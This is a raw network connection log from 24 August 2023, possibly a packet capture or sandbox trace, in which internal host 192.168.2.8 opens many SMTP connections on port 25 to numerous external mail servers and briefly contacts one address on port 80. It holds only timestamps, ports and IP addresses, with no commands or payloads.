Aug 24, 2023 19:03:51.432497978 CEST	25	50318	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.432751894 CEST	50318	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:51.435233116 CEST	25	50323	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:51.435415983 CEST	50323	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:51.440182924 CEST	50326	25	192.168.2.8	67.231.150.28
Aug 24, 2023 19:03:51.443764925 CEST	25	50319	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:51.443943024 CEST	50319	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:51.448160887 CEST	50327	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:51.449969053 CEST	25	50321	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:51.463979959 CEST	25	50316	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.464045048 CEST	25	50316	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.464262009 CEST	50316	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:51.464941025 CEST	25	50323	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:51.465086937 CEST	50323	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:51.468436956 CEST	25	50324	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:51.468586922 CEST	50324	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:51.477996111 CEST	25	50322	209.193.72.53	192.168.2.8
Aug 24, 2023 19:03:51.478176117 CEST	50322	25	192.168.2.8	209.193.72.53
Aug 24, 2023 19:03:51.480021000 CEST	25	50317	211.248.98.39	192.168.2.8
Aug 24, 2023 19:03:51.480166912 CEST	50317	25	192.168.2.8	211.248.98.39
Aug 24, 2023 19:03:51.481389046 CEST	25	50231	198.58.121.58	192.168.2.8
Aug 24, 2023 19:03:51.481519938 CEST	50231	25	192.168.2.8	198.58.121.58
Aug 24, 2023 19:03:51.488272905 CEST	25	50296	64.136.52.37	192.168.2.8
Aug 24, 2023 19:03:51.488333941 CEST	25	50296	64.136.52.37	192.168.2.8
Aug 24, 2023 19:03:51.488440990 CEST	50296	25	192.168.2.8	64.136.52.37
Aug 24, 2023 19:03:51.498287916 CEST	25	50323	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:51.510379076 CEST	50328	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:51.510874987 CEST	25	50314	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:51.514695883 CEST	25	50311	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:51.516227961 CEST	25	50311	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:51.516349077 CEST	50311	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:51.521744967 CEST	25	50323	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:51.521914005 CEST	50323	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:51.530131102 CEST	25	50275	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.530293941 CEST	50275	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:51.532025099 CEST	25	50297	131.162.224.6	192.168.2.8
Aug 24, 2023 19:03:51.532152891 CEST	25	50297	131.162.224.6	192.168.2.8
Aug 24, 2023 19:03:51.532335043 CEST	50297	25	192.168.2.8	131.162.224.6
Aug 24, 2023 19:03:51.532453060 CEST	25	50320	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:51.532583952 CEST	50320	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:51.551482916 CEST	25	50323	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:51.552473068 CEST	25	50224	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.552509069 CEST	25	50224	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.552526951 CEST	25	50224	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.552546024 CEST	25	50224	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.552606106 CEST	25	50224	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.552889109 CEST	25	50224	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.552911997 CEST	25	50224	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.552932024 CEST	25	50224	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.552949905 CEST	25	50224	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.553010941 CEST	25	50224	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.553031921 CEST	25	50224	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.554749012 CEST	25	50211	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.554955959 CEST	50211	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:51.555376053 CEST	25	50211	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.555485010 CEST	50211	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:51.560044050 CEST	25	50326	67.231.150.28	192.168.2.8
Aug 24, 2023 19:03:51.560266972 CEST	50326	25	192.168.2.8	67.231.150.28
Aug 24, 2023 19:03:51.561450958 CEST	25	50320	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:51.562103033 CEST	25	50320	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:51.562400103 CEST	25	50327	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:51.562489033 CEST	50327	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:51.568027973 CEST	25	50318	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.568185091 CEST	50318	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:51.568259954 CEST	25	50318	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.568325043 CEST	50318	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:51.569434881 CEST	25	50319	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:51.569593906 CEST	50319	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:51.570014954 CEST	25	50268	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.592396975 CEST	50329	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:51.599405050 CEST	25	50316	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.599483013 CEST	25	50316	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.599679947 CEST	50316	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:51.599828005 CEST	50316	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:51.600312948 CEST	50077	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:51.600390911 CEST	50323	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:51.604898930 CEST	25	50324	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:51.604931116 CEST	25	50324	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:51.605159998 CEST	50324	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:51.605245113 CEST	50324	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:51.615966082 CEST	50320	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:51.624402046 CEST	50330	25	192.168.2.8	3.96.81.40
Aug 24, 2023 19:03:51.627871990 CEST	50331	25	192.168.2.8	128.1.42.104
Aug 24, 2023 19:03:51.633157015 CEST	25	50217	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.636075974 CEST	50332	25	192.168.2.8	67.231.151.50
Aug 24, 2023 19:03:51.642546892 CEST	25	50322	209.193.72.53	192.168.2.8
Aug 24, 2023 19:03:51.642734051 CEST	50322	25	192.168.2.8	209.193.72.53
Aug 24, 2023 19:03:51.647731066 CEST	25	50331	128.1.42.104	192.168.2.8
Aug 24, 2023 19:03:51.647933960 CEST	50331	25	192.168.2.8	128.1.42.104
Aug 24, 2023 19:03:51.652137995 CEST	50333	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:51.661722898 CEST	25	50297	131.162.224.6	192.168.2.8
Aug 24, 2023 19:03:51.661881924 CEST	50297	25	192.168.2.8	131.162.224.6
Aug 24, 2023 19:03:51.662349939 CEST	25	50296	64.136.52.37	192.168.2.8
Aug 24, 2023 19:03:51.667422056 CEST	80	50077	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:51.667656898 CEST	50077	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:51.680840969 CEST	25	50328	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:51.680989981 CEST	50328	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:51.695131063 CEST	25	50319	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:51.697068930 CEST	50319	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:51.698008060 CEST	50334	25	192.168.2.8	195.176.194.32
Aug 24, 2023 19:03:51.702884912 CEST	25	50318	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.704830885 CEST	50335	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:51.705734015 CEST	25	50329	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:51.705821037 CEST	50329	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:51.719542980 CEST	25	50324	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:51.730510950 CEST	25	50330	3.96.81.40	192.168.2.8
Aug 24, 2023 19:03:51.730768919 CEST	50330	25	192.168.2.8	3.96.81.40
Aug 24, 2023 19:03:51.734566927 CEST	25	50316	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.735076904 CEST	25	50268	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.736049891 CEST	25	50325	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.736187935 CEST	50325	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:51.736479044 CEST	25	50317	211.248.98.39	192.168.2.8
Aug 24, 2023 19:03:51.736563921 CEST	25	50317	211.248.98.39	192.168.2.8
Aug 24, 2023 19:03:51.736753941 CEST	50317	25	192.168.2.8	211.248.98.39
Aug 24, 2023 19:03:51.744782925 CEST	50336	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:51.759573936 CEST	25	50332	67.231.151.50	192.168.2.8
Aug 24, 2023 19:03:51.759742022 CEST	50332	25	192.168.2.8	67.231.151.50
Aug 24, 2023 19:03:51.762840033 CEST	25	50326	67.231.150.28	192.168.2.8
Aug 24, 2023 19:03:51.763081074 CEST	50326	25	192.168.2.8	67.231.150.28
Aug 24, 2023 19:03:51.766659021 CEST	25	50333	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:51.766865969 CEST	50333	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:51.782073021 CEST	50337	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:51.787704945 CEST	50268	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:51.790858030 CEST	25	50322	209.193.72.53	192.168.2.8
Aug 24, 2023 19:03:51.790925980 CEST	25	50322	209.193.72.53	192.168.2.8
Aug 24, 2023 19:03:51.791074991 CEST	50322	25	192.168.2.8	209.193.72.53
Aug 24, 2023 19:03:51.791923046 CEST	25	50297	131.162.224.6	192.168.2.8
Aug 24, 2023 19:03:51.792099953 CEST	50297	25	192.168.2.8	131.162.224.6
Aug 24, 2023 19:03:51.819895983 CEST	25	50329	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:51.820106983 CEST	50329	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:51.823159933 CEST	25	50319	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:51.823407888 CEST	50319	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:51.827997923 CEST	50338	25	192.168.2.8	52.101.11.3
Aug 24, 2023 19:03:51.836294889 CEST	25	50334	195.176.194.32	192.168.2.8
Aug 24, 2023 19:03:51.836433887 CEST	50334	25	192.168.2.8	195.176.194.32
Aug 24, 2023 19:03:51.851779938 CEST	25	50336	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:51.855542898 CEST	50336	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:51.857458115 CEST	25	50275	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.872873068 CEST	50339	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:51.873023033 CEST	25	50335	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:51.873126030 CEST	50335	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:51.880014896 CEST	50340	25	192.168.2.8	51.81.61.70
Aug 24, 2023 19:03:51.883601904 CEST	25	50326	67.231.150.28	192.168.2.8
Aug 24, 2023 19:03:51.883867025 CEST	25	50326	67.231.150.28	192.168.2.8
Aug 24, 2023 19:03:51.883888960 CEST	25	50326	67.231.150.28	192.168.2.8
Aug 24, 2023 19:03:51.883999109 CEST	50326	25	192.168.2.8	67.231.150.28
Aug 24, 2023 19:03:51.884053946 CEST	50326	25	192.168.2.8	67.231.150.28
Aug 24, 2023 19:03:51.886501074 CEST	25	50211	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.895143986 CEST	25	50331	128.1.42.104	192.168.2.8
Aug 24, 2023 19:03:51.895427942 CEST	50331	25	192.168.2.8	128.1.42.104
Aug 24, 2023 19:03:51.912815094 CEST	50315	25	192.168.2.8	52.71.57.184
Aug 24, 2023 19:03:51.912913084 CEST	50282	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:51.912961960 CEST	50282	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:51.912961960 CEST	50282	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:51.912961960 CEST	50282	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:51.912976027 CEST	50282	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:51.913000107 CEST	50282	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:51.913011074 CEST	50282	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:51.913033962 CEST	50282	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:51.913044930 CEST	50282	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:51.913106918 CEST	50282	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:51.913106918 CEST	50282	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:51.915755033 CEST	25	50331	128.1.42.104	192.168.2.8
Aug 24, 2023 19:03:51.917040110 CEST	25	50337	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:51.917218924 CEST	50337	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:51.921122074 CEST	25	50297	131.162.224.6	192.168.2.8
Aug 24, 2023 19:03:51.921284914 CEST	50297	25	192.168.2.8	131.162.224.6
Aug 24, 2023 19:03:51.922333002 CEST	25	50224	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.922658920 CEST	50224	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:51.922878027 CEST	25	50224	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:51.922975063 CEST	50224	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:51.933455944 CEST	25	50329	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:51.933540106 CEST	25	50329	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:51.934004068 CEST	50329	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:51.934998989 CEST	50341	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:51.939311981 CEST	25	50322	209.193.72.53	192.168.2.8
Aug 24, 2023 19:03:51.939388990 CEST	25	50322	209.193.72.53	192.168.2.8
Aug 24, 2023 19:03:51.939618111 CEST	50322	25	192.168.2.8	209.193.72.53
Aug 24, 2023 19:03:51.948477983 CEST	25	50319	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:51.949543953 CEST	25	50319	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:51.951765060 CEST	50319	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:51.956393003 CEST	25	50332	67.231.151.50	192.168.2.8
Aug 24, 2023 19:03:51.956585884 CEST	50332	25	192.168.2.8	67.231.151.50
Aug 24, 2023 19:03:51.958532095 CEST	25	50338	52.101.11.3	192.168.2.8
Aug 24, 2023 19:03:51.958734989 CEST	50338	25	192.168.2.8	52.101.11.3
Aug 24, 2023 19:03:51.963392973 CEST	25	50282	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:51.963430882 CEST	25	50282	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:51.963524103 CEST	25	50282	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:51.964121103 CEST	25	50336	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:51.964282990 CEST	50336	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:51.969147921 CEST	25	50282	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:51.984405994 CEST	25	50340	51.81.61.70	192.168.2.8
Aug 24, 2023 19:03:51.987399101 CEST	50340	25	192.168.2.8	51.81.61.70
Aug 24, 2023 19:03:52.014863014 CEST	25	50328	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:52.019705057 CEST	25	50275	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:52.026282072 CEST	50328	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:52.029799938 CEST	25	50331	128.1.42.104	192.168.2.8
Aug 24, 2023 19:03:52.029952049 CEST	50331	25	192.168.2.8	128.1.42.104
Aug 24, 2023 19:03:52.032385111 CEST	25	50317	211.248.98.39	192.168.2.8
Aug 24, 2023 19:03:52.041022062 CEST	25	50325	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:52.041114092 CEST	50325	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:52.043793917 CEST	25	50335	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:52.043903112 CEST	50335	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:52.044003010 CEST	50342	25	192.168.2.8	213.120.69.5
Aug 24, 2023 19:03:52.047404051 CEST	25	50329	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:52.047593117 CEST	50329	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:52.049298048 CEST	25	50331	128.1.42.104	192.168.2.8
Aug 24, 2023 19:03:52.069025993 CEST	50275	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:52.070888996 CEST	25	50336	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:52.071768045 CEST	25	50336	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:52.073993921 CEST	50336	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:52.075812101 CEST	25	50342	213.120.69.5	192.168.2.8
Aug 24, 2023 19:03:52.075902939 CEST	50342	25	192.168.2.8	213.120.69.5
Aug 24, 2023 19:03:52.080948114 CEST	25	50332	67.231.151.50	192.168.2.8
Aug 24, 2023 19:03:52.080975056 CEST	25	50332	67.231.151.50	192.168.2.8
Aug 24, 2023 19:03:52.080991030 CEST	25	50332	67.231.151.50	192.168.2.8
Aug 24, 2023 19:03:52.081096888 CEST	50332	25	192.168.2.8	67.231.151.50
Aug 24, 2023 19:03:52.081132889 CEST	50332	25	192.168.2.8	67.231.151.50
Aug 24, 2023 19:03:52.087709904 CEST	25	50322	209.193.72.53	192.168.2.8
Aug 24, 2023 19:03:52.087915897 CEST	25	50322	209.193.72.53	192.168.2.8
Aug 24, 2023 19:03:52.088076115 CEST	50322	25	192.168.2.8	209.193.72.53
Aug 24, 2023 19:03:52.090229988 CEST	25	50338	52.101.11.3	192.168.2.8
Aug 24, 2023 19:03:52.090389967 CEST	50338	25	192.168.2.8	52.101.11.3
Aug 24, 2023 19:03:52.092840910 CEST	25	50340	51.81.61.70	192.168.2.8
Aug 24, 2023 19:03:52.092922926 CEST	50340	25	192.168.2.8	51.81.61.70
Aug 24, 2023 19:03:52.092993975 CEST	50340	25	192.168.2.8	51.81.61.70
Aug 24, 2023 19:03:52.104491949 CEST	50343	25	192.168.2.8	138.197.213.185
Aug 24, 2023 19:03:52.107285023 CEST	25	50341	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:52.107892036 CEST	50341	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:52.108604908 CEST	25	50342	213.120.69.5	192.168.2.8
Aug 24, 2023 19:03:52.108635902 CEST	25	50342	213.120.69.5	192.168.2.8
Aug 24, 2023 19:03:52.108752012 CEST	50342	25	192.168.2.8	213.120.69.5
Aug 24, 2023 19:03:52.108787060 CEST	50342	25	192.168.2.8	213.120.69.5
Aug 24, 2023 19:03:52.129626989 CEST	25	50317	211.248.98.39	192.168.2.8
Aug 24, 2023 19:03:52.131470919 CEST	50317	25	192.168.2.8	211.248.98.39
Aug 24, 2023 19:03:52.140460014 CEST	25	50342	213.120.69.5	192.168.2.8
Aug 24, 2023 19:03:52.151227951 CEST	25	50282	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:52.151258945 CEST	25	50282	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:52.151357889 CEST	50282	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:52.151428938 CEST	50282	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:52.155478954 CEST	50344	25	192.168.2.8	104.47.55.110
Aug 24, 2023 19:03:52.156272888 CEST	50345	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:52.167031050 CEST	25	50337	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:52.167431116 CEST	50337	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:52.170083046 CEST	50346	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:52.173602104 CEST	50347	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:52.180876970 CEST	25	50336	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:52.181829929 CEST	25	50336	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:52.181993961 CEST	50336	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:52.183042049 CEST	25	50336	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:52.183154106 CEST	50336	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:52.194473028 CEST	25	50330	3.96.81.40	192.168.2.8
Aug 24, 2023 19:03:52.194535017 CEST	25	50330	3.96.81.40	192.168.2.8
Aug 24, 2023 19:03:52.194673061 CEST	50330	25	192.168.2.8	3.96.81.40
Aug 24, 2023 19:03:52.196258068 CEST	25	50328	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:52.196285963 CEST	25	50328	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:52.196454048 CEST	50328	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:52.197174072 CEST	25	50340	51.81.61.70	192.168.2.8
Aug 24, 2023 19:03:52.200366974 CEST	25	50339	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:52.200522900 CEST	50339	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:52.201607943 CEST	25	50329	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:52.201940060 CEST	25	50282	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:52.209893942 CEST	50279	25	192.168.2.8	67.231.151.137
Aug 24, 2023 19:03:52.209954977 CEST	50279	25	192.168.2.8	67.231.151.137
Aug 24, 2023 19:03:52.209954977 CEST	50279	25	192.168.2.8	67.231.151.137
Aug 24, 2023 19:03:52.209954977 CEST	50279	25	192.168.2.8	67.231.151.137
Aug 24, 2023 19:03:52.209954977 CEST	50279	25	192.168.2.8	67.231.151.137
Aug 24, 2023 19:03:52.209979057 CEST	50279	25	192.168.2.8	67.231.151.137
Aug 24, 2023 19:03:52.209979057 CEST	50279	25	192.168.2.8	67.231.151.137
Aug 24, 2023 19:03:52.209995985 CEST	50279	25	192.168.2.8	67.231.151.137
Aug 24, 2023 19:03:52.209995985 CEST	50279	25	192.168.2.8	67.231.151.137
Aug 24, 2023 19:03:52.210011959 CEST	50279	25	192.168.2.8	67.231.151.137
Aug 24, 2023 19:03:52.211244106 CEST	50279	25	192.168.2.8	67.231.151.137
Aug 24, 2023 19:03:52.212044954 CEST	25	50335	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:52.212856054 CEST	25	50335	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:52.215512037 CEST	50335	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:52.216423988 CEST	50348	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:52.221128941 CEST	25	50338	52.101.11.3	192.168.2.8
Aug 24, 2023 19:03:52.221303940 CEST	50338	25	192.168.2.8	52.101.11.3
Aug 24, 2023 19:03:52.223819017 CEST	25	50347	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:52.223949909 CEST	50347	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:52.226591110 CEST	25	50329	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:52.226623058 CEST	25	50329	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:52.226644993 CEST	25	50329	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:52.226763010 CEST	50329	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:52.226872921 CEST	50329	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:52.236449003 CEST	25	50322	209.193.72.53	192.168.2.8
Aug 24, 2023 19:03:52.236622095 CEST	50322	25	192.168.2.8	209.193.72.53
Aug 24, 2023 19:03:52.249847889 CEST	25	50224	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:52.271821976 CEST	25	50343	138.197.213.185	192.168.2.8
Aug 24, 2023 19:03:52.272011995 CEST	50343	25	192.168.2.8	138.197.213.185
Aug 24, 2023 19:03:52.275840044 CEST	25	50347	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:52.276094913 CEST	50347	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:52.283126116 CEST	25	50345	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:52.283345938 CEST	50345	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:52.288697958 CEST	25	50336	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:52.299909115 CEST	25	50330	3.96.81.40	192.168.2.8
Aug 24, 2023 19:03:52.302164078 CEST	25	50337	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:52.302191019 CEST	25	50337	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:52.302320004 CEST	50337	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:52.325423956 CEST	50349	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:52.326225996 CEST	25	50344	104.47.55.110	192.168.2.8
Aug 24, 2023 19:03:52.326287985 CEST	25	50347	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:52.326401949 CEST	50344	25	192.168.2.8	104.47.55.110
Aug 24, 2023 19:03:52.329884052 CEST	25	50347	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:52.330205917 CEST	50347	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:52.332060099 CEST	25	50279	67.231.151.137	192.168.2.8
Aug 24, 2023 19:03:52.339998007 CEST	25	50329	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:52.352194071 CEST	25	50338	52.101.11.3	192.168.2.8
Aug 24, 2023 19:03:52.354880095 CEST	25	50327	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:52.354918003 CEST	25	50327	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:52.355089903 CEST	50327	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:52.355153084 CEST	50338	25	192.168.2.8	52.101.11.3
Aug 24, 2023 19:03:52.355153084 CEST	50327	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:52.366370916 CEST	25	50328	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:52.366895914 CEST	25	50346	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:52.367059946 CEST	50346	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:52.371260881 CEST	50328	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:52.372373104 CEST	25	50279	67.231.151.137	192.168.2.8
Aug 24, 2023 19:03:52.372881889 CEST	50350	25	192.168.2.8	194.104.110.22
Aug 24, 2023 19:03:52.380880117 CEST	25	50347	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:52.381028891 CEST	50347	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:52.383534908 CEST	25	50335	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:52.387947083 CEST	25	50317	211.248.98.39	192.168.2.8
Aug 24, 2023 19:03:52.389906883 CEST	25	50350	194.104.110.22	192.168.2.8
Aug 24, 2023 19:03:52.389997005 CEST	50350	25	192.168.2.8	194.104.110.22
Aug 24, 2023 19:03:52.406795025 CEST	25	50317	211.248.98.39	192.168.2.8
Aug 24, 2023 19:03:52.406932116 CEST	50317	25	192.168.2.8	211.248.98.39
Aug 24, 2023 19:03:52.412512064 CEST	25	50345	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:52.412682056 CEST	50345	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:52.415265083 CEST	25	50335	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:52.415405035 CEST	50335	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:52.417326927 CEST	25	50335	104.47.73.161	192.168.2.8
